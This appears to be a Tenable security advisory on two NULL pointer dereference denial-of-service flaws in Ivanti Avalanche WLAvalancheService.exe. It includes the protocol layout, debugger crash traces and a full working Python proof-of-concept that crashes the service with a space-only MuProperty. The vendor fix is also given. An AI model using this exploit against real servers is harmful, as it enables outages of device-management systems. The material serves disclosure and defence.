Synopsis
Multiple NULL pointer dereference denial-of-service vulnerabilities exist in Ivanti Avalanche WLAvalancheService.exe v6.4.4.0 and prior.
MuProperty type 101 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
A message sent to WLAvalancheService.exe on TCP port 1777 has the following structure:
// be = big-endian
strut msg
{
preamble pre;
hp hdrpay;
};
struct preamble
{
be32 MsgSize; // size of hp + 16
be32 HdrSize; // size of hp.hdr
be32 PayloadSize; // size of hp.payload
be32 unk:24;
be32 em:8; // encryption method
};
// header + payload
struct hp
{
MuProperty hdr[]; // hdr as array of MuProperty structure(s)
// 'h.cmd' as MuProperty.name
// - REQ_REGISTER (18)
// - RSP_REGISTER (19)
// - REQ_AUTH_DEVICE_KEY (28)
// - RSP_AUTH_DEVICE_KEY (29)
// - REQ_AUTH_AGENT_KEY (30)
// - RSP_AUTH_AGENT_KEY (31)
// - REQ_FILE_UPLOAD (10)
// - RSP_FILE_UPLOAD (11)
// - REQ_FILE_UPLOAD_CONT (12)
// - RSP_FILE_UPLOAD_CONT (13)
// - ...
MuProperty payload[]; // payload as array of MuProperty structure(s)
byte pad[]; // zero-padded to 16-byte boundary
};
struct MuProperty
{
be32 type; // property type, valid: 1-9, 100-102
be32 NameSize;
be32 ValueSize;
byte name[NameSize]; // property name
byte value[ValueSize]; // property value
// format depends on @type
// 3 - hex string
// 9 - list of decimal strings separated by ;
// 100-102 - list of string tokens separated by ;
};When processing a MuProperty type 101, which is expected to contain of a list of string tokens separated by the ';' character, the "ParseToken" function is called inside a loop to parse the current token. The function strips any leading spaces in the token and return the token size (after the removal of any leading spaces) and a pointer to the next token.
If the property contains only space characters, the first call to the function returns 0 for the token size and NULL for the next token (pNextToken). Because pNextToken is NULL so it less than pEndOfProperty, the ParseToken function is called again but with a NULL pointer passed to it. This causes a NULL pointer dereference, resulting in a read access violation:
(1714.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026fbae0 ecx=00000000 edx=00000000 esi=0252e73b edi=0509fa88
eip=00429842 esp=0509fa14 ebp=0509fa1c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
WLAvalancheService+0x29842:
00429842 8a08 mov cl,byte ptr [eax] ds:002b:00000000=??
0:042> kv
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0509fa1c 0042b592 0509fb18 0509fb08 0252e73b WLAvalancheService+0x29842
01 0509fb1c 0042bb0e 028872f4 0509fb68 00000000 WLAvalancheService+0x2b592
02 0509fe88 0045fda2 028872b8 02887348 0288734c WLAvalancheService+0x2bb0e
03 0509fea8 004c1bbb 003d4226 ffffffff 02884380 WLAvalancheService+0x5fda2
04 0509fed8 004bd07a 017d5c68 00000002 02884380 WLAvalancheService+0xc1bbb
05 0509fef0 00492753 00000002 017d5c68 027b00b0 WLAvalancheService+0xbd07a
06 0509ff08 004d003f 017d5c68 027b00b4 017d5c68 WLAvalancheService+0x92753
07 0509ff1c 005346d6 017d5c68 00529c20 00529c20 WLAvalancheService+0xd003f
08 0509ff70 750805c9 026fbae0 750805b0 0509ffdc WLAvalancheService+0x1346d6
09 0509ff80 77a57c5d 026fbae0 eb2efe0f 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 0509ffdc 77a57c2d ffffffff 77a76ab7 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 0509ffec 00000000 00529c20 026fbae0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])PoC:
python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 101
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 101 in RSP_REGISTER (19)
[Errno 104] Connection reset by peerMuProperty type 102 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
A NULL pointer dereference is also triggered when processing a MuProperty of type 102:
(60c.2324): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026183a8 ecx=00000000 edx=00000000 esi=0243e1db edi=04fbfa88
eip=00429842 esp=04fbfa14 ebp=04fbfa1c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
WLAvalancheService+0x29842:
00429842 8a08 mov cl,byte ptr [eax] ds:002b:00000000=??
0:042> kv
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04fbfa1c 0042b6cd 04fbfb18 04fbfb08 0243e1db WLAvalancheService+0x29842
01 04fbfb1c 0042bb0e 027b1164 04fbfb68 00000000 WLAvalancheService+0x2b6cd
02 04fbfe88 0045fda2 027b1128 027b11b8 027b11bc WLAvalancheService+0x2bb0e
03 04fbfea8 004c1bbb 003d4238 ffffffff 0279cf40 WLAvalancheService+0x5fda2
04 04fbfed8 004bd07a 016e5dc0 00000002 0279cf40 WLAvalancheService+0xc1bbb
05 04fbfef0 00492753 00000002 016e5dc0 026d0008 WLAvalancheService+0xbd07a
06 04fbff08 004d003f 016e5dc0 026d000c 016e5dc0 WLAvalancheService+0x92753
07 04fbff1c 005346d6 016e5dc0 00529c20 00529c20 WLAvalancheService+0xd003f
08 04fbff70 750805c9 026183a8 750805b0 04fbffdc WLAvalancheService+0x1346d6
09 04fbff80 77a57c5d 026183a8 77d7f0ce 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 04fbffdc 77a57c2d ffffffff 77a76ab8 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 04fbffec 00000000 00529c20 026183a8 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])PoC:
python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 102
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 102 in RSP_REGISTER (19)
[Errno 104] Connection reset by peer
Python PoC:
import socket, argparse, re, hexdump2, sys
from struct import *
def dump(title, data):
print('[-- %s --]' % (title))
if data: hexdump2.hexdump(data)
def mk_msg(hdr, payload, f4=0):
msg = hdr + payload
msg += b'\x00' * ((16 - len(msg) % 16) % 16)
preamble = pack('>LLLL', len(msg) + 16, len(hdr), len(payload), f4)
msg = preamble + msg
return msg
def MuProperty(t, k, v):
prop = pack('>LLL', t, len(k), len(v)) + k.encode() + v
return prop
def recvall(sock, n):
data = bytearray(b'')
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def recv_msg(sock):
data = bytearray(b'')
# Read preamble
data = recvall(sock, 0x10)
if data == None or len(data) != 0x10:
raise ValueError(f'Failed to read preamble')
# Get msg size
size = unpack_from('>I', data, 0)[0]
if size < 0x10 or size > 0x200000:
raise ValueError(f'Invalid msg size {size:X}')
# Get data
data += recvall(sock, size - 0x10)
if len(data) != size:
raise ValueError(f'Failed to read msg of {size:X} bytes')
return bytes(data)
def get_cmd(res):
m = re.search(b'h.cmd(\d+)', res)
if m:
cmd = int(m.group(1))
else:
raise Exception('h.cmd not in received message.')
return cmd
#
# MAIN
#
descr = 'Ivanti Avalanche WLAvalancheService.exe NULL Pointer Dereference'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='target host')
parser.add_argument('-m', '--mtype', choices=[101,102], type=int, default=101, help='MuProperty type used for the PoC, default: %(default)s')
parser.add_argument('-p', '--port', type=int, default=1777, help='WLAvalancheService.exe port, default: %(default)s')
parser.add_argument('-d', '--debug', action='store_true', help='dump messages')
args = parser.parse_args()
target = args.target
port = args.port
mtype= args.mtype
debug = args.debug
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.settimeout(5)
res = recv_msg(s)
if debug: dump('res on connect', res)
# Check if REQ_REGISTER (18)
cmd = get_cmd(res)
if cmd != 18:
sys.exit(f'Unexpected h.cmd {cmd} received, expected: 18.')
print('Received REQ_REGISTER (18)')
print(f'Sending a malformed MuProperty type {mtype} in RSP_REGISTER (19)')
mid = 0
hdr = MuProperty(2, 'h.mid', str(mid).encode())
hdr += MuProperty(2, 'h.cmd', b'19')
hdr += MuProperty(2, 'h.abort', b'0')
hdr += MuProperty(mtype, 'h.foo', b' ')
payload = MuProperty(2, 'p.rev', b'308')
req = mk_msg(hdr, payload)
if debug: dump('req', req)
try:
s.sendall(req)
res = recv_msg(s)
if debug: dump('res', res)
except Exception as e:
print(e)
Solution
Apply vendor supplied updates referenced here: https://forums.ivanti.com/s/article/Ivanti-Avalanche-6-4-5-Security-Advisory?language=en_US
Additional References
https://forums.ivanti.com/s/article/Ivanti-Avalanche-6-4-5-Security-Advisory?language=en_USDisclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]